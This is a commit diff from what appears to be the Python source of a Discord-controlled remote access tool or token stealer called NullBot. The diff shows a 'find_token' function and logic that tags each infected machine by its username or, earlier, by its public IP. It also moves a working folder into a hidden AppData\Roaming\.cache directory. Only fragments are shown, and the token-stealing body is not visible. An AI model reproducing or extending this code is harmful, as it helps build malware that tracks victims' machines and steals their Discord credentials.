|
6 | 6 |
|
7 | 7 | from datetime import datetime |
8 | 8 | from socket import create_connection |
9 | | -import os, psutil, re, requests, sys, subprocess |
| 9 | +import os, psutil, re, requests, sys, subprocess, random |
10 | 10 |
|
11 | 11 | ############### Global functions available in every cog |
12 | | - |
13 | | -def IP(): |
14 | | - try: return requests.get("https://api.ipify.org").text.rstrip() |
15 | | - except: return "127.0.0.1" |
16 | | - |
17 | 12 | def genEmbed(self, title, timestamp, description=None): |
18 | 13 | if description is None: |
19 | 14 | embed = discord.Embed( |
@@ -56,24 +51,24 @@ def find_token(self): |
56 | 51 | #> custom bot implementation |
57 | 52 |
|
58 | 53 | original_dir = os.getcwd() |
| 54 | +identification = random.randint(10000, 90000) |
59 | 55 |
|
60 | 56 | class NullBot(commands.InteractionBot): |
61 | 57 | def __init__(self, **options): |
62 | 58 | super().__init__(**options) |
63 | | - self.ip_addr = IP() |
64 | 59 | self.original_dir = original_dir |
65 | 60 |
|
66 | 61 | # Checks if username is Admin/Administrator |
67 | 62 | if "dmin" in os.getenv("username"): |
68 | | - self.identifier = self.ip_addr |
| 63 | + self.identifier = identification |
69 | 64 | else: |
70 | 65 | self.identifier = os.getenv("username") |
71 | 66 |
|
72 | 67 | genEmbed = genEmbed |
73 | 68 | find_token = find_token |
74 | 69 |
|
75 | 70 | client = NullBot(test_guilds=server_ids) |
76 | | -nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" |
| 71 | +nr_working = f"C:\\Users\\{os.getenv('username')}\\Appdata\\Roaming\\.cache" |
77 | 72 |
|
78 | 73 | if os.path.isdir(nr_working) != True: |
79 | 74 | os.mkdir(nr_working) |
|
0 commit comments